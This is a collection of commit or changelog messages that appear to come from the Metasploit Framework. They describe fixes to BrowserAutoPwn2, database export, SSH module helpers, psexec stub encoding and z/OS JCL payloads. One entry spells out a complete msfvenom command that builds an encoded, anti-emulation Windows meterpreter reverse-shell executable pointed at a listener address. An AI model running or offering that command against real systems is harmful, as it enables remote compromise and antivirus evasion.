In BrowserAutoPwn2, the mixin forgets to pass the SRVPORT datastore
option to the exploits, so they always use the default 8080. As a
result, if a different SRVPORT is set, BAP2 would be serving the
target machine with bad exploit links.
Fix#7021
Users reported (in GitHub issue #7008) hitting an exception when attempting to export the contents of the msf database (i.e. workspaces, hosts, events, etc.) via the 'db_export' command. After some digging, it appears there were a few ActiveRecord changes with the new Rails upgrade that require a couple mods to the way we are querying.
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention
MS-1688
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
Currently any existing and future JCL payload has to have a 'job card'
basically data that defines the job to z/OS. It has information about
the job's owner, place it will run, output creation, etc. All JCL
shares the same job card format. As such, creating a shared payload
method that allows this text to be imported into any JCL payload.
Additionally, that job card is now parameterized, allowing the
exploit/payload user to edit these job card values-as this may be needed
in order to run the job sucessfully on any given system.
This PR sets up the mf module - next PRs will update the existing
payloads to use this module.
James Lee